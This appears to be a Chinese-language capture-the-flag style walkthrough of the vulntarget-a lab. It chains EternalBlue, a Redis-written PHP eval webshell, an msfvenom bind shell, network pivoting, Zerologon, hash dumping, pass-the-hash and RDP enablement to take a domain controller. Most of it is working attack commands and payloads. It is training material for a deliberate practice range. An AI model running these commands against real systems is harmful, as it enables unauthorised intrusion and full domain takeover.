靶机下载链接:
vulntarget域渗透靶机:crow821/vulntarget: vulntarget靶场系列 (github.com)
拓扑结构

win7
信息搜集
首先nmap扫一波:
nmap -sP 192.168.0.0/24
得到win7外网机的ip:192.168.0.103
然后扫这个ip:
nmap 192.168.0.103

发现443端口开放。
ms17_010
尝试使用永恒之蓝漏洞打,用msf:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.0.103
run
成功拿到win7的shell。
执行ipconfig命令,此处显示有两个ip地址:

想要攻击机能访问到10.0.20.0/24的网段,添加一个路由,搞代理。
win2016
添加路由
在meterpreter中执行
run post/multi/manage/autoroute #添加路由
run autoroute -p #查看路由

添加完路由后,当前会话可以连接到10.0.20.0/24网段。但是我们只能在msf里连通10.0.20.0/24网段。我们可以在msf开一个接口作为代理,让所有走这个代理的数据都可以连接到10.0.20.0/24网段。
开启代理
开启本地代理:
use auxiliary/server/socks_proxy
show options

信息不变,直接run
可以使用jobs查看当前是否有任务在执行,jobs id -k结束指定任务。
proxychains调用nmap
然后我们使用proxychains这个工具调用nmap扫描22网段:
首先修改配置文件:
vim /etc/proxychains4.conf
最后一行修改为:socks5 127.0.0.1 1080
调用nmap:
proxychains4 nmap -sT -Pn 10.0.20.0/24 -p80 #有时候msf的socks5代理会抽
发现10.0.20.99主机的80端口和6379端口是开着的,先给浏览器设置代理:

再使用浏览器访问下 http://10.0.20.99/ ,是一个php页面,发现有phpinfo.php。
可以发现网站的路径:C:/phpStudy/PHPTutorial/WWW/
redis未授权漏洞
在这里直接对6379的端口进行测试:
proxychains4 redis-cli -h 10.0.20.99
config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename txx.php
set 1 "<?php @eval($_POST['txx']);?>"
save
然后我们浏览器访问 http://10.0.20.99/txx.php 发现一句话木马已经存在。
连接蚁剑
打开蚁剑,先设置代理,不然访问不到20网段。

然后连接,成功,并且是system权限。
利用蚁剑我们可以上传文件,执行文件。
msf木马
思路就是利用msf生成的木马,上传蚁剑,然后执行反弹得到meterpreter的shell。
这个时候就出现了一个问题,使用正向木马还是反向木马。
正向就是攻击连接受害,反向就是受害连接攻击。显然受害机没有192.168.0.0/24的路由找不到我们的攻击机,而我们攻击机有10.0.20.0/24的路由,就可以找到受害机。所以我们选择msf正向木马。
msfvenom -p windows/x64/meterpreter/bind_tcp lport=6666 -f exe >6666.exe
生成木马,然后我们利用蚁剑把这个木马文件上传。
msf打开监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rHOST 10.0.20.99
set LPORT 6666
run

打开蚁剑的虚拟终端,执行6666.exe文件,发现msf拿到了meterpreter。(本来这里一直得不到回应的,把win2016的防火墙关了才行
至此我们拿下win2016了。
win2019
定位域控
run post/windows/gather/enum_domain

- 域名:vulntarget
- 域控:win2019
- 域控ip:10.0.10.110
路由&代理
这里发现了10的网段,和前面一样,先添加路由:
run post/multi/manage/autoroute #添加路由
run autoroute -p #查看路由
开启本地代理:
use auxiliary/server/socks_proxy
set srvport 9999
run
然后我们使用proxychains这个工具调用nmap:
首先修改配置文件:
vim /etc/proxychains4.conf
最后一行修改为:socks5 127.0.0.1 9999
调用nmap:
proxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139

CVE-2020-1472
直接使用CVE-2020-1472(域内提权)
exp:https://github.com/dirkjanm/CVE-2020-1472
proxychains python3 cve-2020-1472-exploit.py 域控主机名 域控IP
proxychains python3 cve-2020-1472-exploit.py win2019 10.0.10.110
此时密码已经置空
impacte获取hash
下载:
git clone https://github.com/SecureAuthCorp/impacket.git
再使用impactet来进行下一步的操作,获取域控hash
cd到example目录下:
proxychains4 python3 secretsdump.py vulntarget.com/win2019\$@10.0.10.110 -no-pass

得到administrator的hash:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15
哈希传递直接就拿下域控:
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110

破解hash
把Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::写入文本文件。然后使用john破解。

得到明文密码:Admin@666
3389远程登录
开启远程桌面,开启3389,防火墙放行3389,连接。
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
kali上就直接proxychains4 rdesktop 10.0.10.110
账号:vulntarget.com\administrator 密码:Admin@666
windows上连接:
首先解决代理的问题,使用工具Proxifier。
依次点击Profile–>Proxy Servers–>Add。Address:192.168.0.106,Port:9999,Protocol:socks5。然后ok就行。然后Profile–>Proxification Rules,把Localhost前面的√取消。
win+R输入mstsc,打开远程桌面连接,输入10.0.10.110,然后账号密码,连接成功。

学习链接:
- 【永久开源】vulntarget-a 打靶记录 - 腾讯云开发者社区-腾讯云 (tencent.com)
- https://mp.weixin.qq.com/s?__biz=Mzg3NDYwNjQyMw==&mid=2247486539&idx=1&sn=fb322e30895f081a1073ccd2642b365c&chksm=cecf7673f9b8ff6539b5f44aaa186619bb039ee1014ab8d4bb7873368d0fc4aae65b82d2a499&scene=178&cur_album_id=2109154452740866051#rd